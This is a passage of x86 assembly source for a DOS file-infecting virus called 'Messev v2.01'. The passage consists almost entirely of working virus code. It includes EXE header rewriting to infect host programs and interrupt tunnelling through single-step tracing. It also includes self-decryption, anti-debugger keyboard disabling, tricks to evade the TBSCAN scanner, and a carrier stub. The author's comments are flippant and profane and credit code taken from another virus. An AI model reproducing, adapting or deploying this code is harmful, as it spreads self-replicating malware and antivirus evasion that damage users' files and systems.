MUL CX
XCHG CX, AX
CALL Go_End_File
SUB AX, CX ; Minus headersize.
SBB DX, 0
MOV CX, 16 ; In paragraphs.
DIV CX
MOV Header.Init_CS, AX ; Store new CS.
MOV Header.Init_IP, OFFSET START
ADD Header.Init_IP, DX
INC AX ; Anti-heuristic.
MOV Header.Init_SS, AX
MOV Header.Init_SP, (Virus_Mem_Size * 16)
CALL Go_End_File
MOV CX, 16 ; Filelength in paragraphs.
DIV CX
ADD AX, Virus_Mem_Size ; Plus our requirements.
MOV Header.MinMem, AX
CALL Go_End_File ; Length host,
ADD AX, Virus_Size ; Plus our length.
ADC DX, 0
MOV CX, 512 ; Calculate # 512 byte-pages.
DIV CX
OR DX, DX ; No rest?
JZ No_Round ; Then no round-off.
INC AX ; Round off.
No_Round: MOV Header.Byte_Pages, AX
MOV Header.MOD512, DX
RETN
; === Tunnelled disk interrupt 13h. ===
OldInt13h:
PUSHF
CALL DWORD PTR CS:Int13h
RETN
; === Tunnelled DOS-interrupt 21h. ===
OldInt21h:
PUSHF
CALL DWORD PTR CS:Int21h
RETN
;====( Get interrupt vector )================================================
;
; AL = Interrupt number to hook.
;
; Return: CX:BX = Pointer to INT.
;============================================================================
GetInt:
PUSH SI
PUSH DS
PUSH AX
MOV AH, 4 ; Calculate offset in
MUL AH ; interrupt-table.
XCHG SI, AX
XOR AX, AX
MOV DS, AX
CLI ; Get handler-address.
MOV BX, DS:[SI]
MOV CX, DS:[SI+2]
STI
POP AX
POP DS
POP SI
RETN
;====( Set interrupt vector )================================================
;
; AL = Interrupt number to hook.
;
; Returns:
;
; CX:BX = Pointer to handler.
;============================================================================
SetInt:
PUSH SI
PUSH DS
PUSH AX
MOV AH, 4 ; Calculate offset in
MUL AH ; interrupt-table.
XCHG SI, AX
XOR AX, AX
MOV DS, AX
CLI ; Set new address.
MOV DS:[SI], BX
MOV DS:[SI+2], CX
STI
POP AX
POP DS
POP SI
RETN
; === Finds the original BIOS & DOS entrypoint. ===
Tracer:
CALL Push_All
MOV AH, 52h ; List of lists.
INT 21h
MOV AX, ES:[BX-02h] ; Get 1st MCB.
MOV First_MCB, AX
MOV AL, 01h ; Save INT 01h.
CALL GetInt
MOV Int01h, BX
MOV Int01h+2, CX
MOV AL, 01h ; Hook INT 01h.
MOV BX, OFFSET NewInt01h
MOV CX, CS
CALL SetInt
MOV AL, Trace_Mode ; Get address from vector.
CALL GetInt
PUSHF
POP AX
OR AH, 01h ; TF on.
PUSH AX
POPF
CMP Trace_Mode, Bios
JNE Mode_Dos
MOV Int13h, BX
MOV Int13h+2, CX
XOR AH, AH ; Reset disk.
MOV DL, 80h
CALL OldInt13h
JMP Exit_Tracer
Mode_Dos:
MOV Int21h, BX
MOV Int21h+2, CX
MOV AX, 3000h ; Get DOS-version (OEM).
CALL OldInt21h
Exit_Tracer:
PUSHF
POP AX
AND AH, NOT 01h ; TF off (just in case).
PUSH AX
POPF
MOV AL, 01h ; Restore INT 01h.
MOV BX, Int01h
MOV CX, Int01h+2
CALL SetInt
CALL Pop_All
RETN
; I should be learning 4 my exams right now... Yeah right!
DB 'If I don''t pass... fuck it!', 0
DB 'SKLSUX!'
NewInt01h:
PUSH BP
MOV BP, SP
PUSH AX
MOV AX, [BP+4] ; Segment.
CMP CS:Trace_Mode, Bios
JNE Trace_Dos
CMP AH, 0C0h ; In BIOS-segment?
JB Not_In_Bios ; Continue when not.
MOV CS:Int13h+2, AX
MOV AX, [BP+2]
MOV CS:Int13h, AX
JMP Diss_Flag
Trace_Dos:
CMP AX, CS:First_MCB ; In DOS-segment?
JNB Not_In_Bios ; Continue when not.
MOV CS:Int21h+2, AX
MOV AX, [BP+2]
MOV CS:Int21h, AX
Diss_Flag:
; TF off.
AND BYTE PTR [BP+7], NOT 01h
Not_In_Bios:
POP AX
POP BP
IRET
; Taken from Predator virus.
Push_All:
POP CS:Ret_Add ; Pop return address to variable.
PUSHF
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH DS
PUSH ES
PUSH BP
JMP CS:Ret_Add ; Push return address on
; the stack.
Pop_All:
POP CS:Ret_Add ; Save return address.
POP BP
POP ES
POP DS
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
POPF
JMP CS:Ret_Add
; Gets the SFT-address. *UNDOCUMENTED*
; BX = Handle.
;
Get_DCB:
PUSH BX
MOV AX, 1220h ; Get DCB-number.
INT 2Fh
MOV AX, 1216h ; Get DCB-address.
MOV BL, ES:[DI]
INT 2Fh
POP BX
RETN
; If TBSCAN is executed the virus adds the following parameters: NM & CO
; NM = Skip memory-check. (Messev will not be found in memory).
; CO = Compatible mode, (uses DOS-filesystem, WITH our stealth).
TBSCAN DB 'TBSCAN.' ; ThunderBYTE Scanner.
; During execution of one of these programs, the virus will be inactive,
; (no stealth, no infect).
No_Active:
DB 'PKZIP.E' ; PKZIP.EXE
DB 'ARJ.EXE' ; ARJ.EXE
DB 'LHA.EXE' ; LHA.EXE
DB 'RAR.EXE' ; RAR.EXE
DB 'CHKDSK.' ; CHKDSK.EXE
End_No_Active:
Hook_i24h:
CALL Push_All
MOV AL, 24h ; Get INT 24h.
CALL GetInt
MOV CS:Int24h, BX
MOV CS:Int24h+2, CX
MOV AL, 24h ; Hook INT 24h.
MOV BX, OFFSET NewInt24h
MOV CX, CS
CALL SetInt
CALL Pop_All
RETN
; I would really recommend getting this CD
; (yes, it's da theme-music from Carmageddon).
DB '[ DEMANUFACTURE - FEAR FACTORY ]'
Unhook_i24h:
CALL Push_All
MOV AL, 24h ; Restore INT 24h.
MOV BX, CS:Int24h
MOV CX, CS:Int24h+2
CALL SetInt
CALL Pop_All
RETN
; Dummy Critical Error handler.
NewInt24h:
MOV AL, 03h
IRET
;=======================================================================
; Search a table & (re)set zeroflag depending on result. ZF when found.
;
; DS:SI = Line
; CS:DI = Table
; CX = Number of names to compare.
;=======================================================================
Search_Table:
PUSH AX
PUSH BX
PUSH SI
PUSH DI
PUSH BP
PUSH DS
PUSH ES
PUSH CX
PUSH DI
PUSH ES
PUSH DS
POP ES
PUSH SI
POP DI
CLD ; Find end of filename.
MOV AL, '.'
MOV CX, 127
REPNE SCASB
MOV AL, '\' ; Find start of filename.
STD
MOV CX, 127
REPNE SCASB
MOV BP, ES:[DI+2] ; Get first 7 bytes.
MOV BX, ES:[DI+4]
MOV DX, ES:[DI+6]
MOV AL, ES:[DI+8]
POP ES
POP DI
POP CX
Find_Match:
CMP CS:[DI+0], BP ; Compare first word.
JNE Not_Found
CMP CS:[DI+2], BX ; Compare second word.
JNE Not_Found
CMP CS:[DI+4], DX ; Duh?
JNE Not_Found
CMP CS:[DI+6], AL ; And last byte.
JNE Not_Found
CMP AX, AX ; Set ZF.
JMP Exit_Search
Not_Found:
ADD DI, 7 ; Next entry in table.
LOOP Find_Match
XOR AX, AX ; Some stupid way of
NOT AL ; setting the zeroflag.
CMP AL, AH
Exit_Search:
POP ES
POP DS
POP BP
POP DI
POP SI
POP BX
POP AX
RETN
; Is the handle in BX corresponding to a file or a device? (sets ZF).
Check_Handle:
PUSH DX
MOV AX, 4400h ; IOCTL
CALL OldInt21h
TEST DL, 80h ; Filehandle?
POP DX
RETN
Port_Driver DB 'C:\WINDOWS\SYSTEM\IOSUBSYS\HDFLOP.PDR', 0
Parameters DB ' NM CO', 0Dh
End_Encrypted_File:
NOP_Msg DB '$'
; === VIRUS ENTRYPOINT ===
START:
CALL Get_Delta ; Get delta-offset.
Get_Delta: POP SI
SUB SI, OFFSET Get_Delta
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH DS
PUSH ES
PUSH SI
IN AL, 21h ; Take-out keyboard.
OR AL, 02h ; - ANTI-DEBUGGER -
OUT 21h, AL
PUSH CS
POP DS
MOV BX, SI
MOV CX, OFFSET End_Encrypted_File
Decrypt_Byte: XOR BYTE PTR [BX], 0 ; Decrypt our body.
ORG $-1
File_Key DB 0
INC BX
MOV AH, 09h ; Prints a empty string.
MOV DX, OFFSET NOP_Msg ; (Anti-TbScan).
ADD DX, SI ; Add delta-offset.
INT 21h
LOOP Decrypt_Byte
JMP Entry
; === Original first 24 bytes of the hostfile. ===
Old_Bytes:
DW 'ZM' ; Host is a .EXE-file.
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW OFFSET Carrier ; Host's IP.
DW 0 ; Host's CS, same as virus.
Virus_End:
Header DB 24 DUP(0) ; Used during infection.
Temp_Buffer DB 24 DUP(0) ; Used as a temp. storing buffer.
; === TEMP. VARIABLES ===
Init_Status DB 0
Status DB 0 ; Statusbits.
Int01h DW 0, 0 ; Address INT 01h.
Int21h DW 0, 0 ; Tunnelled INT 21h.
Int24h DW 0, 0 ; Address critical error-handler.
New_Pos DW 0, 0
Old_Pos DW 0, 0
File_Pos DW 0, 0
Read_Bytes DW 0
First_MCB DW 0 ; 1st Memory Control Block.
Trace_Mode DB 0 ; Are we tracing BIOS or DOS-interrupt?
Ret_Add DW 0
Tunnel_Int DW 0, 0 ; Address of the tunnelled interrupt.
Read_Buffer DW 0, 0
FileTime DW 0 ; Duh?!
FileDate DW 0
Temp DB 0
Buffer:
Carrier:
PUSH CS
POP DS
MOV AH, 09h ; Display warning.
MOV DX, OFFSET Warning_Msg
INT 21h
MOV AX, 4C00h ; Exit to DOS.
INT 21h
Warning_Msg DB 'WARNING: This program is infected with '
DB 'the Messev v2.01 virus!', 0Ah, 0Dh, '$'
; Structure of the .EXE-header.
EXE_Header STRUC
Mark DW 0 ; .EXE-identifier (always 'MZ').
Mod512 DW 0 ; Filesize MOD 512.
Byte_Pages DW 0 ; Filesize in 512-byte pages (rounded-up).
Num_Reloc DW 0 ;
HeaderSize DW 0 ; Headersize in paragraphs.
MinMem DW 0 ; Minimal memory requirements in paragraphs.
MaxMem DW 0 ; Maximal memory requirements in paragraphs.
Init_SS DW 0 ; Program's SS.
Init_SP DW 0 ; Initial SP.
Checksum DW 0 ; Checksum, unused by MS-DOS, used by us.
Init_IP DW 0 ; Initial IP.
Init_CS DW 0 ; CS.
EXE_Header ENDS
END START